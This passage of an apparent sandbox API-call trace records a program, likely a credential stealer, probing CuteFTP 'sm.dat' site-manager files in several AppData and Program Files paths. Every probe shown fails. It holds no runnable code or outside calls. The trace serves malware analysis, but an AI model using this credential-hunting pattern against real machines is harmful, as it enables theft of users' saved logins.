lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP" [0056.082] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat" [0056.082] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x42 [0056.082] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2ce9a0 [0056.082] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x2ce9a0, nSize=0x42 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat") returned 0x41 [0056.082] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\globalscape\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.082] LocalFree (hMem=0x2ce9a0) returned 0x0 [0056.082] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.082] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP") returned 57 [0056.082] lstrlenA (lpString="\\*.*") returned 4 [0056.082] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2cbcf0 [0056.082] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP" [0056.082] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\*.*" [0056.082] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\*.*", lpFindFileData=0x21fa88 | out: lpFindFileData=0x21fa88) returned 0xffffffff [0056.082] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.082] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.082] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.082] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Pro") returned 24 [0056.082] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2cc8d0 [0056.082] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.082] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro" [0056.082] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro") returned 61 [0056.082] lstrlenA (lpString="\\sm.dat") returned 7 [0056.082] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x2cbcf0 [0056.082] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro" [0056.082] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" [0056.082] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x46 [0056.082] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2ce9a0 [0056.082] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x2ce9a0, nSize=0x46 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned 0x45 [0056.082] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\globalscape\\cuteftp pro\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.083] LocalFree (hMem=0x2ce9a0) returned 0x0 [0056.083] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.083] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro") returned 61 [0056.083] lstrlenA (lpString="\\*.*") returned 4 [0056.083] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2cbcf0 [0056.083] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro" [0056.083] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\*.*" [0056.083] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\*.*", lpFindFileData=0x21fa88 | out: lpFindFileData=0x21fa88) returned 0xffffffff [0056.083] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.083] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.083] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.083] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Lite") returned 25 [0056.083] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x2cc8d0 [0056.083] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.083] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite" [0056.083] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite") returned 62 [0056.083] lstrlenA (lpString="\\sm.dat") returned 7 [0056.083] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2cbcf0 [0056.083] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite" [0056.083] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" [0056.083] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x47 [0056.083] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x2ce9a0 [0056.083] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x2ce9a0, nSize=0x47 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned 0x46 [0056.083] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\globalscape\\cuteftp lite\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.083] LocalFree (hMem=0x2ce9a0) returned 0x0 [0056.083] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.083] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite") returned 62 [0056.083] lstrlenA (lpString="\\*.*") returned 4 [0056.083] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x2cbcf0 [0056.083] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite" [0056.083] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\*.*" [0056.083] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\*.*", lpFindFileData=0x21fa88 | out: lpFindFileData=0x21fa88) returned 0xffffffff [0056.083] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.083] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.083] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.083] lstrlenA (lpString="\\CuteFTP") returned 8 [0056.083] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x2cc8d0 [0056.083] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0056.083] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP" [0056.083] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP") returned 45 [0056.083] lstrlenA (lpString="\\sm.dat") returned 7 [0056.083] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x2cbcf0 [0056.083] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP" [0056.083] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\sm.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\sm.dat" [0056.083] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x36 [0056.083] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x2ce9a0 [0056.083] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\sm.dat", lpDst=0x2ce9a0, nSize=0x36 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\sm.dat") returned 0x35 [0056.083] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\sm.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.084] LocalFree (hMem=0x2ce9a0) returned 0x0 [0056.084] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.084] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP") returned 45 [0056.084] lstrlenA (lpString="\\*.*") returned 4 [0056.084] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x2cbcf0 [0056.084] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP" [0056.084] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\*.*" [0056.084] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\*.*", lpFindFileData=0x21fa88 | out: lpFindFileData=0x21fa88) returned 0xffffffff [0056.084] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.084] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.084] LocalFree (hMem=0x2cc740) returned 0x0 [0056.084] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2cc740 [0056.084] SHGetFolderPathA (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0056.085] lstrlenA (lpString="C:\\Program Files (x86)") returned 22 [0056.085] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP") returned 20 [0056.085] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x2cc8d0 [0056.085] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0056.085] lstrcatA (in: lpString1="C:\\Program Files (x86)", lpString2="\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP" [0056.085] lstrlenA (lpString="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP") returned 42 [0056.085] lstrlenA (lpString="\\sm.dat") returned 7 [0056.085] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x2cbcf0 [0056.085] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP" [0056.085] lstrcatA (in: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\sm.dat") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\sm.dat" [0056.085] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x33 [0056.085] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x2ce9a0 [0056.085] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x2ce9a0, nSize=0x33 | out: lpDst="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\sm.dat") returned 0x32 [0056.085] CreateFileA (lpFileName="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\sm.dat" (normalized: "c:\\program files (x86)\\globalscape\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.085] LocalFree (hMem=0x2ce9a0) returned 0x0 [0056.085] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.085] lstrlenA (lpString="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP") returned 42 [0056.085] lstrlenA (lpString="\\*.*") returned 4 [0056.085] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x2cbcf0 [0056.085] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP" [0056.085] lstrcatA (in: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\*.*") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\*.*" [0056.085] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\*.*", lpFindFileData=0x21fa88 | out: lpFindFileData=0x21fa88) returned 0xffffffff [0056.085] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.085] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.085] lstrlenA (lpString="C:\\Program Files (x86)") returned 22 [0056.085] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Pro") returned 24 [0056.085] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x2cc8d0 [0056.085] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0056.085] lstrcatA (in: lpString1="C:\\Program Files (x86)", lpString2="\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro" [0056.085] lstrlenA (lpString="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro") returned 46 [0056.085] lstrlenA (lpString="\\sm.dat") returned 7 [0056.085] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x2cbcf0 [0056.085] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro" [0056.085] lstrcatA (in: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\sm.dat" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" [0056.086] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x37 [0056.086] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x2ce9a0 [0056.086] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x2ce9a0, nSize=0x37 | out: lpDst="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned 0x36 [0056.086] CreateFileA (lpFileName="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" (normalized: "c:\\program files (x86)\\globalscape\\cuteftp pro\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.086] LocalFree (hMem=0x2ce9a0) returned 0x0 [0056.086] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.086] lstrlenA (lpString="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro") returned 46 [0056.086] lstrlenA (lpString="\\*.*") returned 4 [0056.086] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x2cbcf0 [0056.086] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro" [0056.086] lstrcatA (in: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\*.*" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\*.*") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\*.*" [0056.086] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\*.*", lpFindFileData=0x21fa88 | out: lpFindFileData=0x21fa88) returned 0xffffffff [0056.086] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.086] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.086] lstrlenA (lpString="C:\\Program Files (x86)") returned 22 [0056.086] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Lite") returned 25 [0056.086] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x2cc8d0 [0056.086] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0056.086] lstrcatA (in: lpString1="C:\\Program Files (x86)", lpString2="\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite" [0056.086] lstrlenA (lpString="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite") returned 47 [0056.086] lstrlenA (lpString="\\sm.dat") returned 7 [0056.086] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x2cbcf0 [0056.086] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite" [0056.086] lstrcatA (in: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\sm.dat" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" [0056.086] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x38 [0056.086] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x2ce9a0 [0056.086] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x2ce9a0, nSize=0x38 | out: lpDst="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned 0x37 [0056.086] CreateFileA (lpFileName="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" (normalized: "c:\\program files (x86)\\globalscape\\cuteftp lite\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.086] LocalFree (hMem=0x2ce9a0) returned 0x0 [0056.086] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.086] lstrlenA (lpString="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite") returned 47 [0056.086] lstrlenA (lpString="\\*.*") returned 4 [0056.086] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x2cbcf0 [0056.086] lstrcpyA (in: lpString1=0x2cbcf0, lpString2="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite" [0056.086] lstrcatA (in: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\*.*" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\*.*") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\*.*" [0056.086] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\*.*", lpFindFileData=0x21fa88 | out: lpFindFileData=0x21fa88) returned 0xffffffff [0056.086] LocalFree (hMem=0x2cbcf0) returned 0x0 [0056.086] LocalFree (hMem=0x2cc8d0) returned 0x0 [0056.086] lstrlenA (lpString="C:\\Program Files (x86)") returned 22 [0056.086] lstrlenA (lpString="\\CuteFTP") returned 8 [0056.086] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x2cc8d0 [0056.086] lstrcpyA (in: lpString1=0x2cc8d0, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0056.086] lstrcatA (in: lpString1="C:\\Program Files (x86)", lpString2="\\CuteFTP" | out: lpString1="C:\\Program Files 